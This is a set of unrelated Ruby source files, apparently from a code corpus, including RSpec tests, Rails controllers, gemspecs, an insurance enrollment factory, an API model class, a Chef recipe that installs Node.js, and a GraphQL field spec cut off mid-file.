# frozen_string_literal: true require 'spec_helper' describe EasyPost::Webhook do describe '.create' do it 'creates a webhook' do webhook = described_class.create( url: 'http://example.com', ) expect(webhook).to be_an_instance_of(described_class) expect(webhook.id).to match('hook_') expect(webhook.url).to eq('http://example.com') # Remove the webhook once we have tested it so we don't pollute the account with test webhooks webhook.delete end end describe '.retrieve' do it 'retrieves a webhook' do webhook = described_class.create( url: 'http://example.com', ) retrieved_webhook = described_class.retrieve(webhook.id) expect(retrieved_webhook).to be_an_instance_of(described_class) expect(retrieved_webhook.to_s).to eq(webhook.to_s) # Remove the webhook once we have tested it so we don't pollute the account with test webhooks webhook.delete end end describe '.all' do it 'retrieves all webhooks' do webhooks = described_class.all( page_size: Fixture.page_size, ) webhooks_array = webhooks.webhooks expect(webhooks_array.count).to be <= Fixture.page_size expect(webhooks_array).to all(be_an_instance_of(described_class)) end end describe '.update' do xit 'updates a webhook' do # Cannot be easily tested - requires a disabled webhook. end end describe '.delete' do xit 'deletes a webhook' do # No need to re-test this here since we delete each webhook after each test right now end end end
26.096774
100
0.679852
61fb16c3b62bfe3227ea0757c4aa6cd9a3b933d5
1,132
class HomeController < ApplicationController before_filter :login_required, :only => :share after_filter :store_location, :only => [:index, :privacy, :feedback, :share] # caches_page :index, :privacy, :feedback, :error, :layout => false # caches_action :share, :layout => false def index end def privacy end def feedback if request.post? @feedback = Mailing.new(setup_mail_params(params[:mailing])) if @feedback.save @feedback.send_feedback flash[:notice] = t('feedback.success') redirect_to root_path elsif @feedback.valid? flash[:error] = t('mailing.failure') end else @feedback = Mailing.new end end def error @error = t('errors.e404') end def stats end def share if request.post? @mailing = Mailing.new(setup_mail_params(params[:mailing])) if @mailing.save @mailing.send_share flash[:notice] = t('mailing.success') redirect_to root_path elsif @mailing.valid? flash[:error] = t('mailing.failure') end else @mailing = Mailing.new end end end
22.64
78
0.632509
7a5490943c55e25bc85aff8277506975be4e9a33
3,263
# -*- encoding: utf-8 -*- # stub: fog 0.7.2 ruby lib Gem::Specification.new do |s| s.name = "fog".freeze s.version = "0.7.2" s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version= s.require_paths = ["lib".freeze] s.authors = ["geemus (Wesley Beary)".freeze] s.date = "2011-04-05" s.description = "The Ruby cloud services library.".freeze s.email = "[email protected]".freeze s.executables = ["fog".freeze] s.extra_rdoc_files = ["README.rdoc".freeze] s.files = ["README.rdoc".freeze, "bin/fog".freeze] s.homepage = "http://github.com/geemus/fog".freeze s.rdoc_options = ["--charset=UTF-8".freeze] s.rubygems_version = "3.0.6".freeze s.summary = "brings clouds to you".freeze s.installed_by_version = "3.0.6" if s.respond_to? :installed_by_version if s.respond_to? :specification_version then s.specification_version = 2 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_runtime_dependency(%q<builder>.freeze, [">= 0"]) s.add_runtime_dependency(%q<excon>.freeze, [">= 0.6.1"]) s.add_runtime_dependency(%q<formatador>.freeze, [">= 0.1.3"]) s.add_runtime_dependency(%q<json>.freeze, [">= 0"]) s.add_runtime_dependency(%q<mime-types>.freeze, [">= 0"]) s.add_runtime_dependency(%q<net-ssh>.freeze, [">= 2.1.3"]) s.add_runtime_dependency(%q<nokogiri>.freeze, [">= 1.4.4"]) s.add_runtime_dependency(%q<ruby-hmac>.freeze, [">= 0"]) s.add_development_dependency(%q<jekyll>.freeze, [">= 0"]) s.add_development_dependency(%q<rake>.freeze, [">= 0"]) s.add_development_dependency(%q<rspec>.freeze, ["= 1.3.1"]) s.add_development_dependency(%q<shindo>.freeze, ["= 0.3.4"]) s.add_development_dependency(%q<virtualbox>.freeze, ["= 0.8.3"]) else s.add_dependency(%q<builder>.freeze, [">= 0"]) s.add_dependency(%q<excon>.freeze, [">= 0.6.1"]) s.add_dependency(%q<formatador>.freeze, [">= 0.1.3"]) s.add_dependency(%q<json>.freeze, [">= 0"]) s.add_dependency(%q<mime-types>.freeze, [">= 0"]) s.add_dependency(%q<net-ssh>.freeze, [">= 2.1.3"]) s.add_dependency(%q<nokogiri>.freeze, [">= 1.4.4"]) s.add_dependency(%q<ruby-hmac>.freeze, [">= 0"]) s.add_dependency(%q<jekyll>.freeze, [">= 0"]) s.add_dependency(%q<rake>.freeze, [">= 0"]) s.add_dependency(%q<rspec>.freeze, ["= 1.3.1"]) s.add_dependency(%q<shindo>.freeze, ["= 0.3.4"]) s.add_dependency(%q<virtualbox>.freeze, ["= 0.8.3"]) end else s.add_dependency(%q<builder>.freeze, [">= 0"]) s.add_dependency(%q<excon>.freeze, [">= 0.6.1"]) s.add_dependency(%q<formatador>.freeze, [">= 0.1.3"]) s.add_dependency(%q<json>.freeze, [">= 0"]) s.add_dependency(%q<mime-types>.freeze, [">= 0"]) s.add_dependency(%q<net-ssh>.freeze, [">= 2.1.3"]) s.add_dependency(%q<nokogiri>.freeze, [">= 1.4.4"]) s.add_dependency(%q<ruby-hmac>.freeze, [">= 0"]) s.add_dependency(%q<jekyll>.freeze, [">= 0"]) s.add_dependency(%q<rake>.freeze, [">= 0"]) s.add_dependency(%q<rspec>.freeze, ["= 1.3.1"]) s.add_dependency(%q<shindo>.freeze, ["= 0.3.4"]) s.add_dependency(%q<virtualbox>.freeze, ["= 0.8.3"]) end end
45.319444
112
0.619369
39105496e4287917f54efd34b422dd537c007253
419
class CatsController < ApplicationController def create p 'THESE ARE THE PARAMS' p params p 'THESE ARE THE CAT PARAMS' p cat_params Cat.create!(cat_params) redirect_to cats_url end def index @cats = Cat.all render :index end def new render :new end def cat_params params.require(:cat).permit(:name, :age, :sex, :biography, :coat_color, :birth_date) end end
15.518519
88
0.661098
e8c9546f4240f41788084b37012718573ac91f90
15,535
module Factories class EnrollmentFactory extend Acapi::Notifiers def self.add_consumer_role(person:, new_ssn: nil, new_dob: nil, new_gender: nil, new_is_incarcerated:, new_is_applicant:, new_is_state_resident:, new_citizen_status:) [:new_is_incarcerated, :new_is_applicant, :new_is_state_resident, :new_citizen_status].each do |value| name = value.id2name raise ArgumentError.new("missing value: #{name}, expected as keyword ") if eval(name).blank? end ssn = new_ssn dob = new_dob gender = new_gender is_incarcerated = new_is_incarcerated is_applicant = new_is_applicant is_state_resident = new_is_state_resident citizen_status = new_citizen_status # Assign consumer-specifc attributes consumer_role = person.build_consumer_role(ssn: ssn, dob: dob, gender: gender, is_incarcerated: is_incarcerated, is_applicant: is_applicant, is_state_resident: is_state_resident, citizen_status: citizen_status) if person.save consumer_role.save else consumer_role.errors.add(:person, "unable to update person") end return consumer_role end def self.add_resident_role(person:, new_ssn: nil, new_dob: nil, new_gender: nil, new_is_incarcerated:, new_is_applicant:, new_is_state_resident:, new_citizen_status:) [:new_is_incarcerated, :new_is_applicant, :new_is_state_resident, :new_citizen_status].each do |value| name = value.id2name raise ArgumentError.new("missing value: #{name}, expected as keyword ") if eval(name).blank? end ssn = new_ssn dob = new_dob gender = new_gender is_incarcerated = new_is_incarcerated is_applicant = new_is_applicant is_state_resident = new_is_state_resident citizen_status = new_citizen_status # Assign consumer-specifc attributes resident_role = person.build_resident_role(ssn: ssn, dob: dob, gender: gender, is_incarcerated: is_incarcerated, is_applicant: is_applicant, is_state_resident: is_state_resident, citizen_status: citizen_status) if person.save resident_role.save else resident_role.errors.add(:person, "unable to update person") end return resident_role end def self.construct_consumer_role(person_params, user) person_params = person_params[:person] person, person_new = initialize_person( user, person_params["name_pfx"], person_params["first_name"], person_params["middle_name"], person_params["last_name"], person_params["name_sfx"], person_params["ssn"].gsub("-",""), person_params["dob"], person_params["gender"], "consumer", person_params["no_ssn"], person_params["is_applying_coverage"] ) if person.blank? && person_new.blank? begin raise rescue => e error_message = { :error => { :message => "unable to construct consumer role", :person_params => person_params.inspect, :user => user.inspect, :backtrace => e.backtrace.join("\n") } } log(JSON.dump(error_message), {:severity => 'error'}) end return nil end role = build_consumer_role(person, person_new) role.update_attribute(:is_applying_coverage, (person_params["is_applying_coverage"].nil? ? true : person_params["is_applying_coverage"])) role end def self.build_consumer_role(person, person_new) role = find_or_build_consumer_role(person) family, primary_applicant = initialize_family(person,[]) family.family_members.map(&:__association_reload_on_person) saved = save_all_or_delete_new(family, primary_applicant, role) if saved role elsif person_new person.delete end return role end def self.find_or_build_consumer_role(person) return person.consumer_role if person.consumer_role.present? person.build_consumer_role(is_applicant: true) end def self.add_broker_role(person:, new_kind:, new_npn:, new_mailing_address:) [:new_kind, :new_npn, :new_mailing_address].each do |value| name = value.id2name raise ArgumentError.new("missing value: #{name}, expected as keyword ") if eval(name).blank? end kind = new_kind npn = new_npn mailing_address = new_mailing_address family, = self.initialize_family(person, []) broker_role = nil if person.broker_role.blank? # Assign broker-specifc attributes #broker_role = person.build_broker(mailing_address: mailing_address, npn: npn, kind: kind) broker_role = person.build_broker_role(npn: npn) end if person.save if family.save family.delete unless broker_role.save else broker_role.errors.add(:family, "unable to create family") end else broker_role.errors.add(:person, "unable to update person") end # Return new instance return broker_role end # Fix this method to utilize the following: # needs: # an object that responds to the names and gender methods # census_employee # user def self.construct_employee_role(user, census_employee, person_details) person, person_new = initialize_person( user, person_details.name_pfx, person_details.first_name, person_details.middle_name, person_details.last_name, person_details.name_sfx, census_employee.ssn, census_employee.dob, person_details.gender, "employee", person_details.no_ssn ) return nil, nil if person.blank? && person_new.blank? self.build_employee_role( person, person_new, census_employee.employer_profile, census_employee, census_employee.hired_on ) end def self.add_employee_role(user: nil, employer_profile:, name_pfx: nil, first_name:, middle_name: nil, last_name:, name_sfx: nil, ssn:, dob:, gender:, hired_on: ) person, person_new = initialize_person(user, name_pfx, first_name, middle_name, last_name, name_sfx, ssn, dob, gender, "employee") census_employee = EmployerProfile.find_census_employee_by_person(person).first raise ArgumentError.new("census employee does not exist for provided person details") unless census_employee.present? raise ArgumentError.new("no census employee for provided employer profile") unless census_employee.employer_profile_id == employer_profile.id self.build_employee_role( person, person_new, employer_profile, census_employee, hired_on ) end def self.link_census_employee(census_employee, employee_role, employer_profile) census_employee.employer_profile = employer_profile employee_role.employer_profile = employer_profile census_employee.benefit_group_assignments.each do |bga| if bga.coverage_selected? && bga.hbx_enrollment.present? && !bga.hbx_enrollment.inactive? bga.hbx_enrollment.employee_role_id = employee_role.id bga.hbx_enrollment.save end end census_employee.employee_role = employee_role employee_role.new_census_employee = census_employee employee_role.hired_on = census_employee.hired_on employee_role.terminated_on = census_employee.employment_terminated_on end def self.migrate_census_employee_contact_to_person(census_employee, person) if census_employee if census_employee.address person.addresses.create!(census_employee.address.attributes) if person.addresses.blank? end if census_employee.email person.emails.create!(census_employee.email.attributes) if person.emails.blank? person.emails.create!(kind: 'work', address: census_employee.email_address) if person.work_email.blank? && census_employee.email_address.present? end end end def self.build_employee_role(person, person_new, employer_profile, census_employee, hired_on) role = find_or_build_employee_role(person, employer_profile, census_employee, hired_on) self.link_census_employee(census_employee, role, employer_profile) family, primary_applicant = self.initialize_family(person, census_employee.census_dependents) family.family_members.map(&:__association_reload_on_person) family.save_relevant_coverage_households saved = save_all_or_delete_new(family, primary_applicant, role) if saved census_employee.save migrate_census_employee_contact_to_person(census_employee, person) elsif person_new person.delete end return role, family end def self.build_family(person, dependents) #only build family if there is no primary family, otherwise return primary family if person.primary_family.nil? family, primary_applicant = self.initialize_family(person, dependents) family.family_members.map(&:__association_reload_on_person) saved = save_all_or_delete_new(family, primary_applicant) else family = person.primary_family end return family end def self.initialize_dependent(family, primary, dependent) person, new_person = initialize_person(nil, nil, dependent.first_name, dependent.middle_name, dependent.last_name, dependent.name_sfx, dependent.ssn, dependent.dob, dependent.gender, "employee") if person.present? && person.persisted? relationship = person_relationship_for(dependent.employee_relationship) primary.ensure_relationship_with(person, relationship, family.id) family.add_family_member(person) unless family.find_family_member_by_person(person) end person end def self.construct_resident_role(person_params, user) person_params = person_params[:person] person, person_new = initialize_person( user, person_params["name_pfx"], person_params["first_name"], person_params["middle_name"] , person_params["last_name"], person_params["name_sfx"], person_params["ssn"], person_params["dob"], person_params["gender"], "resident", true ) if person.blank? && person_new.blank? begin raise rescue => e error_message = { :error => { :message => "unable to construct resident role", :person_params => person_params.inspect, :user => user.inspect, :backtrace => e.backtrace.join("\n") } } log(JSON.dump(error_message), {:severity => 'error'}) end return nil end role = build_resident_role(person, person_new) end def self.build_resident_role(person, person_new) role = find_or_build_resident_role(person) family, primary_applicant = initialize_family(person,[]) family.family_members.map(&:__association_reload_on_person) saved = save_all_or_delete_new(family, primary_applicant, role) if saved role elsif person_new person.delete end return role end def self.find_or_build_resident_role(person) return person.resident_role if person.resident_role.present? person.build_resident_role(is_applicant: true) end private def self.initialize_person(user, name_pfx, first_name, middle_name, last_name, name_sfx, ssn, dob, gender, role_type, no_ssn=nil, is_applying_coverage=true) person_attrs = { user: user, name_pfx: name_pfx, first_name: first_name, middle_name: middle_name, last_name: last_name, name_sfx: name_sfx, ssn: ssn, dob: dob, gender: gender, no_ssn: no_ssn, role_type: role_type, is_applying_coverage: is_applying_coverage } result = FindOrCreateInsuredPerson.call(person_attrs) return result.person, result.is_new end def self.find_or_build_employee_role(person, employer_profile, census_employee, hired_on) roles = person.employee_roles.where( "employer_profile_id" => employer_profile.id.to_s, "hired_on" => census_employee.hired_on ) role = case roles.count when 0 # Assign employee-specifc attributes person.employee_roles.build(employer_profile: employer_profile, hired_on: hired_on) # when 1 # roles.first # else # # What am I doing here? # nil else roles.first end end def self.initialize_family(person, dependents) family = person.primary_family family ||= Family.new applicant = family.primary_applicant applicant ||= initialize_primary_applicant(family, person) person.relatives(family.id).each do |related_person| family.add_family_member(related_person) end dependents.each do |dependent| initialize_dependent(family, person, dependent) end return family, applicant end def self.initialize_primary_applicant(family, person) family.add_family_member(person, is_primary_applicant: true) unless family.find_family_member_by_person(person) end def self.person_relationship_for(census_relationship) case census_relationship when "spouse" "spouse" when "domestic_partner" "life_partner" when "child_under_26", "child_26_and_over", "disabled_child_26_and_over" "child" end end def self.save_all_or_delete_new(*list) objects_to_save = list.reject {|o| !o.changed?} num_saved = objects_to_save.count do |o| begin o.save.tap do |save_result| unless save_result error_message = { :message => "Unable to save object:\n#{o.errors.to_hash.inspect}", :object_kind => o.class.to_s, :object_id => o.id.to_s } log(JSON.dump(error_message), {:severity => "error"}) end end rescue => e error_message = { :error => { :message => "unable to save object in enrollment factory", :object_kind => o.class.to_s, :object_id => o.id.to_s } } log(JSON.dump(error_message), {:severity => 'critical'}) raise e end end if num_saved < objects_to_save.count objects_to_save.each {|o| o.delete} false else true end end end end
37.076372
155
0.637657
f80f6a354c7f19d0e0c14b38de6959e4af9dbd63
2,108
class ActionOfficersController < ApplicationController before_action :authenticate_user!, PQUserFilter def index @action_officers = ActionOfficer.all .joins(:deputy_director => :division) .order('lower(divisions.name)') .order('lower(action_officers.name)') update_page_title 'Action officers' end def show loading_existing_records update_page_title 'Action officer details' end def new loading_new_records update_page_title 'Add action officer' end def create loading_new_records do if @action_officer.update(action_officer_params) flash[:success] = 'Action officer was successfully created' redirect_to action_officers_path else flash[:error] = 'Action officer could not be created' update_page_title 'Add action officer' render action: 'new' end end end def edit loading_existing_records update_page_title 'Edit action officer' end def update loading_existing_records do if @action_officer.update(action_officer_params) flash[:success] = 'Action officer was successfully updated' redirect_to action_officer_path(@action_officer) else flash[:error] = 'Action officer could not be updated' update_page_title 'Edit action officer' render action: 'edit' end end end def find render json: ActionOfficer.by_name(params[:q]).select(:id, :name) end private def loading_new_records loading_defaults @action_officer = ActionOfficer.new yield if block_given? end def loading_existing_records loading_defaults @action_officer = ActionOfficer.find(params[:id]) yield if block_given? end def loading_defaults @deputy_directors = DeputyDirector.active @press_desks = PressDesk.active end def action_officer_params params .require(:action_officer) .permit( :name, :email, :group_email, :phone, :deleted, :deputy_director_id, :press_desk_id ) end end
23.164835
69
0.681689
28d17eaa9b71cc36c0d70ceb5f13378b9d16cc47
963
$LOAD_PATH.push(File.expand_path('../lib', __FILE__)) require 'puppetfile-resolver/version' Gem::Specification.new do |spec| spec.name = 'puppetfile-resolver' spec.version = PuppetfileResolver::VERSION.dup spec.authors = ['Glenn Sarti'] spec.email = ['[email protected]'] spec.license = 'Apache-2.0' spec.homepage = 'https://glennsarti.github.io/puppetfile-resolver/' spec.summary = 'Dependency resolver for Puppetfiles' spec.description = 'Resolves the Puppet Modules in a Puppetfile with a full dependency graph, including Puppet version checkspec.' spec.files = Dir['puppetfile-cli.rb', 'README.md', 'LICENSE', 'lib/**/*'] spec.test_files = Dir['spec/**/*'] spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ['lib'] spec.required_ruby_version = '>= 2.1.9' spec.add_runtime_dependency 'molinillo', '~> 0.6' spec.add_runtime_dependency 'semantic_puppet', '~> 1.0' end
40.125
132
0.713396
186ba6549608ca097df8f6b244beebfd9a71b303
5,527
# frozen_string_literal: true require "date" require "dry/monads" require "dry/matcher/result_matcher" RSpec.describe "Dry::Matcher::ResultMatcher" do extend Dry::Monads[:result, :try] include Dry::Monads[:result, :try] before { Object.send(:remove_const, :Operation) if defined? Operation } def self.set_up_expectations(matches) matches.each do |value, matched| context "Matching #{value}" do let(:result) { value } it { is_expected.to eql(matched) } end end end describe "external matching" do subject do Dry::Matcher::ResultMatcher.(result) do |m| m.success do |v| "Matched success: #{v}" end m.failure do |v| "Matched failure: #{v}" end end end set_up_expectations( Success("a success") => "Matched success: a success", Failure("a failure") => "Matched failure: a failure", Try(StandardError) { "a success" } => "Matched success: a success", Try(StandardError) { raise("a failure") } => "Matched failure: a failure" ) end context "multiple branch matching" do subject do Dry::Matcher::ResultMatcher.(result) do |on| on.success(:a) { "Matched specific success: :a" } on.success(:b) { "Matched specific success: :b" } on.success { |v| "Matched general success: #{v}" } on.failure(:a) { "Matched specific failure: :a" } on.failure(:b) { "Matched specific failure: :b" } on.failure { |v| "Matched general failure: #{v}" } end end set_up_expectations( Success(:a) => "Matched specific success: :a", Success(:b) => "Matched specific success: :b", Success("a success") => "Matched general success: a success", Failure(:a) => "Matched specific failure: :a", Failure(:b) => "Matched specific failure: :b", Failure("a failure") => "Matched general failure: a failure" ) end context "using ===" do subject do Dry::Matcher::ResultMatcher.(result) do |on| on.success(/done/) { |s| "Matched string by pattern: #{s.inspect}" } on.success(String) { |s| "Matched string success: #{s.inspect}" } on.success(Integer) { |n| "Matched integer success: #{n}" } on.success(Date, Time) { |t| "Matched date success: #{t.strftime('%Y-%m-%d')}" } on.success { |v| "Matched general success: #{v}" } on.failure(Integer) { |n| "Matched integer failure: #{n}" } on.failure { |v| "Matched general failure: #{v}" } end end set_up_expectations( Success("nicely done") => 'Matched string by pattern: "nicely done"', Success("yay") => 'Matched string success: "yay"', Success(3) => "Matched integer success: 3", Failure(3) => "Matched integer failure: 3", Success(Date.new(2019, 7, 13)) => "Matched date success: 2019-07-13", Success(Time.new(2019, 7, 13)) => "Matched date success: 2019-07-13" ) end context "matching tuples using codes" do subject do Dry::Matcher::ResultMatcher.(result) do |on| on.success(:created) { |code, s| "Matched #{code.inspect} by code: #{s.inspect}" } on.success(:updated) { |_, s, v| "Matched :updated by code: #{s.inspect}, #{v.inspect}" } on.success(:deleted) { |_, s| "Matched :deleted by code: #{s.inspect}" } on.success(Symbol) { |sym, s| "Matched #{sym.inspect} by Symbol: #{s.inspect}" } on.success(200...300) { |status, _, body| "Matched #{status} body: #{body}" } on.success { |v| "Matched general success: #{v.inspect}" } on.failure(:not_found) { |_, e| "Matched not found with #{e.inspect}" } on.failure("not_found") { |e| "Matched not found by string: #{e.inspect}" } on.failure { |v| "Matched general failure: #{v.inspect}" } end end set_up_expectations( Success([:created, 5]) => "Matched :created by code: 5", Success([:updated, 6, 7]) => "Matched :updated by code: 6, 7", Success([:deleted, 8, 9]) => "Matched :deleted by code: 8", Success([:else, 10, 11]) => "Matched :else by Symbol: 10", Success([201, {}, "done!"]) => "Matched 201 body: done!", Success(["complete"]) => 'Matched general success: ["complete"]', Failure(%i[not_found for_a_reason]) => "Matched not found with :for_a_reason", Failure(:other) => "Matched general failure: :other" ) end context "with .for" do let(:operation) do class Operation include Dry::Matcher::ResultMatcher.for(:perform) def perform(value) value end end Operation.new end context "using with methods" do def match(value) operation.perform(value) do |m| m.success { |v| "success: #{v}" } m.failure { |e| "failure: #{e}" } end end it "builds a wrapping module" do expect(match(Success(:foo))).to eql("success: foo") expect(match(Failure(:bar))).to eql("failure: bar") end end context "with keyword arguments" do let(:operation) do class Operation include Dry::Matcher::ResultMatcher.for(:perform) def perform(value:) value end end Operation.new end it "works without a warning" do result = operation.perform(value: Success(1)) do |m| m.success { |v| v } m.failure { raise } end expect(result).to be(1) end end end end
33.49697
97
0.582775
2187fe0a3a8f6a97b7f727f3c8d60d9a100d0b68
127
class RemoveFundSourcesAccountId < ActiveRecord::Migration def change remove_column :fund_sources, :account_id end end
21.166667
58
0.80315
1cf0f638984022fe849ee9ecb6a1a92f44f6277b
6,615
=begin #Hydrogen Nucleus API #The Hydrogen Nucleus API OpenAPI spec version: 1.9.4 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.4.19 =end require 'date' module NucleusApi # Ownership Object class Ownership # client_id attr_accessor :client_id # is_beneficial attr_accessor :is_beneficial # is_primary attr_accessor :is_primary # percent_ownership attr_accessor :percent_ownership # role attr_accessor :role # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'client_id' => :'client_id', :'is_beneficial' => :'is_beneficial', :'is_primary' => :'is_primary', :'percent_ownership' => :'percent_ownership', :'role' => :'role' } end # Attribute type mapping. def self.swagger_types { :'client_id' => :'String', :'is_beneficial' => :'BOOLEAN', :'is_primary' => :'BOOLEAN', :'percent_ownership' => :'Float', :'role' => :'String' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } if attributes.has_key?(:'client_id') self.client_id = attributes[:'client_id'] end if attributes.has_key?(:'is_beneficial') self.is_beneficial = attributes[:'is_beneficial'] end if attributes.has_key?(:'is_primary') self.is_primary = attributes[:'is_primary'] end if attributes.has_key?(:'percent_ownership') self.percent_ownership = attributes[:'percent_ownership'] end if attributes.has_key?(:'role') self.role = attributes[:'role'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new if @client_id.nil? invalid_properties.push('invalid value for "client_id", client_id cannot be nil.') end if @role.nil? invalid_properties.push('invalid value for "role", role cannot be nil.') end invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if @client_id.nil? return false if @role.nil? true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && client_id == o.client_id && is_beneficial == o.is_beneficial && is_primary == o.is_primary && percent_ownership == o.percent_ownership && role == o.role end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [client_id, is_beneficial, is_primary, percent_ownership, role].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime (value) when :Date (value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = NucleusApi.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
28.148936
107
0.615268
e82d9594564cbb40fad77c9579a943c739e40ff2
657
# # Cookbook Name:: jupyterhub-chef # Recipe:: nodejs # # Copyright (c) 2016 The Authors, All Rights Reserved. # install node bash 'install_nodejs' do code <<-EOF curl --silent --location https://rpm.nodesource.com/setup_#{node['nodejs']['version']} | bash - yum install -y nodejs EOF end # install global npms node['nodejs']['global_npms'].each do |g_npm| bash "install_#{g_npm}" do code "npm install -g #{g_npm}" end end unless node['nodejs']['global_npms'].empty? # install non-global npms node['nodejs']['npms'].each do |npm| bash "install_#{npm}" do code "npm install #{npm}" end end unless node['nodejs']['npms'].empty?
23.464286
99
0.669711
61841487417e749ea9bcc7c0a954bb0124c0d72b
1,049
class BookingsController < ApplicationController before_action :authenticate_user! def new @receipt = Receipt.new(phone: current_user.phone, street: current_user.street_address, city: current_user.city, state: current_user.state, zip: current_user.zip, report: current_user.self_report) @events = Event.where(visible: true).where("end_date > ?", Time.now).order(:start_date) - current_user.events @stripe_publishable_key = ENV["STRIPE_PUBLISHABLE_KEY"] if @events.empty? flash[:alert] = "No new event registrations are available at this time." redirect_to events_path end end def update @booking = Booking.find(params[:id]) authorize_record_owner(@booking.user) if @booking.update(booking_params) flash[:success] = "Your registration updated successfully." else flash[:alert] = "There was a problem updating your registration." end redirect_to event_path(@booking.event) end private def booking_params params.require(:booking).permit(:character_id) end end
33.83871
199
0.732126
110a33697041e6ce04dbe20dad9ef2e40fa91d1d
1,286
require 'spec_helper' describe 'mistral::db::mysql' do let :pre_condition do [ 'include mysql::server', 'include mistral::db::sync' ] end let :facts do { :osfamily => 'Debian' } end let :params do { 'password' => 'fooboozoo_default_password', } end describe 'with only required params' do it { is_expected.to contain_openstacklib__db__mysql('mistral').with( 'user' => 'mistral', 'password_hash' => '*3DDF34A86854A312A8E2C65B506E21C91800D206', 'dbname' => 'mistral', 'host' => '127.0.0.1', 'charset' => 'utf8', :collate => 'utf8_general_ci', )} end describe "overriding allowed_hosts param to array" do let :params do { :password => 'mistralpass', :allowed_hosts => ['127.0.0.1','%'] } end end describe "overriding allowed_hosts param to string" do let :params do { :password => 'mistralpass2', :allowed_hosts => '192.168.1.1' } end end describe "overriding allowed_hosts param equals to host param " do let :params do { :password => 'mistralpass2', :allowed_hosts => '127.0.0.1' } end end end
20.412698
72
0.548989
bb6b1cf13db173e3a4b05db17f67eaa9ba2adbf5
1,016
# typed: true module Kuby module CRDB module DSL module CRDB module V1alpha1 class CrdbClusterSpecAffinityNodeAffinityRequiredDuringSchedulingIgnoredDuringExecutionNodeSelectorTermsMatchFields < ::KubeDSL::DSLObject value_field :operator value_field :values value_field :key validates :operator, field: { format: :string }, presence: true validates :values, field: { format: :string }, presence: false validates :key, field: { format: :string }, presence: true def serialize {}.tap do |result| result[:operator] = operator result[:values] = values result[:key] = key end end def kind_sym :crdb_cluster_spec_affinity_node_affinity_required_during_scheduling_ignored_during_execution_node_selector_terms_match_fields end end end end end end end
30.787879
148
0.602362
1a2d41558e5edd5a0b74c43069a448d5c9cb67d8
124
class Admin::DocumentCollectionsController < Admin::EditionsController def edition_class DocumentCollection end end
20.666667
70
0.822581
5dcc57a85b12d785d20bd57fede26a76b3824718
6,853
# frozen_string_literal: true require "spec_helper" # Must be top-level so it can be found by string FieldSpecReturnType = GraphQL::ObjectType.define do name "FieldReturn" field :id, types.Int field :source, types.String, hash_key: :source end describe GraphQL::Field do it "accepts a proc as type" do field = GraphQL::Field.define do type(-> { FieldSpecReturnType }) end assert_equal(FieldSpecReturnType, field.type) end it "accepts a string as a type" do field = GraphQL::Field.define do type("FieldSpecReturnType") end assert_equal(FieldSpecReturnType, field.type) end it "accepts arguments definition" do number = GraphQL::Argument.define(name: :number, type: -> { GraphQL::INT_TYPE }) field = GraphQL::Field.define(type: FieldSpecReturnType, arguments: [number]) assert_equal([number], field.arguments) end describe ".property " do let(:field) do GraphQL::Field.define do name "field_name" # satisfies 'can define by config' below property :internal_prop end end it "can define by config" do assert_equal(field.property, :internal_prop) end it "has nil property if not defined" do no_prop_field = GraphQL::Field.define { } assert_equal(no_prop_field.property, nil) end describe "default resolver" do def acts_like_default_resolver(field, old_prop, new_prop) object = OpenStruct.new(old_prop => "old value", new_prop => "new value", field.name.to_sym => "unset value") old_result = field.resolve(object, nil, nil) field.property = new_prop new_result = field.resolve(object, nil, nil) field.property = nil unset_result = field.resolve(object, nil, nil) assert_equal(old_result, "old value") assert_equal(new_result, "new value") assert_equal(unset_result, "unset value") end it "responds to changes in property" do acts_like_default_resolver(field, :internal_prop, :new_prop) end it "is reassigned if resolve is set 